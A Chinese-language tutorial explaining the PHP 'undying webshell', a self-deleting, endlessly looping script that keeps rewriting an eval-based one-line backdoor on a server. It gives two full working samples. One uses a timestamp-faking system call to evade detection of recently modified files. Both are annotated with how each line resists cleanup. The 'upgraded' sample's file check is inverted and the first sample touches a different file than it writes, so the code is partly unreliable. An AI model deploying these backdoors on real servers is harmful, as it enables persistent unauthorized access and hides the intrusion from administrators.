不死馬

什么是不死馬？

內存馬，通俗講就是不死馬，就是會運行一段永遠不退出的程序常駐在PHP進程里，無限執行。

生成過程

不死馬.php → 上傳到server → server執行文件 → server本地無限循環生成 (一句話.php)

兩種不死馬

• 網上流傳的不死馬

<?php 
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '2.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>';
while (1){
    file_put_contents($file,$code);
    system('touch -m -d "2018-12-01 09:10:12" .2.php');
    usleep(5000);
} 
?>

1. ignore_user_abort(true);
   函數設置與客戶機斷開是否會終止腳本的執行。這里設置為true則忽略與用戶的斷開，即使與客戶機斷開腳本仍會執行。
2. set_time_limit()
   函數設置腳本最大執行時間。這里設置為0，即沒有時間方面的限制。
3. unlink(__FILE__)
   刪除文件本身，以起到隱蔽自身的作用。
4. while
   循環內每隔usleep(5000)即寫新的后門文件
5. system()
   執行的命令用於修改文件的創建或修改時間，可以繞過“find –name '*.php' –mmin -10”命令檢測最近10分鍾修改或新創建的PHP文件，但不一定有用，可選。

• 升級版

網上流傳的不死馬, while 里面只是並沒有判斷了這個文件是不是存在 ,
那么我只需要把這個文件中的 shell 注釋掉就可以繞過你的內存木馬了.

正確的姿勢應該是這樣 :

<?php
 ignore_user_abort(true);
 set_time_limit(0);
 $file = 'c.php';
 $code = base64_decode('PD9waHAgZXZhbCgkX1BPU1RbY10pOz8+');
 while(true) {
     if(md5(file_get_contents($file))===md5($code)) {
         file_put_contents($file, $code);
     }
     usleep(50);
 }
?>

參考:
https://xz.aliyun.com/t/1530/
https://blog.csdn.net/ski_12/article/details/84920127

拓展

一句話木馬

參考：
https://www.uedbox.com/post/6051/